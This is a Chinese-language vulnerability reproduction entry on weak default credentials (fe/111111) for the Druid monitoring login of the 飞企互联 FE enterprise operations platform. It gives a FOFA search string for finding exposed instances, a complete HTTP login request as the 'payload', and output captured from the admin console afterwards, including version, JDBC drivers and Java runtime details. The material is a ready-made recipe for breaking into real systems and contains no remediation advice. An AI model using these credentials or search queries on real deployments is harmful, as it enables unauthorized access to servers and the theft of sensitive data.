

F1-11飞企互联-FE企业运营管理平台-弱口令

漏洞描述：

飞企互联-FE企业运营管理平台 /druid/login.html 路径处的登录接口存在弱口令漏洞，未授权的攻击者可通过该漏洞直接进入后台管理页面，获取敏感信息，进一步利用可控制整个服务器。

网站图片：



漏洞复现

网络测绘：

fofa语法：

FOFA: app="飞企互联-FE企业运营管理平台"

漏洞复现：

payload:

```
POST /druid/submitLogin HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0

loginUsername=fe&loginPassword=111111
```

效果图:



弱口令: fe/111111

99/druid/login.html

Login

用户名

密码

Sign in

Reset

Druid Monitor

首页

数据源

SQL监控

SQL防火墙

Web应用

URI监控

Session监控

spring监控

JSON API

重置

记录日志

Stat Index

查看JSON API

版本	1.0.20
驱动	sun.jdbc.odbc.JdbcOdbcDriver com.alibaba.druid.mock.MockDriver com.alibaba.druid.proxy.DruidDriver com.microsoft.sqlserver.jdbc.SQLServerDriver org.sqlite.JDBC org.sqlite.JDBC
是否允许重置	false
重置次数	0
java版本	1.7.0_71
jvm名称	Java HotSpot(TM) 64-Bit Server VM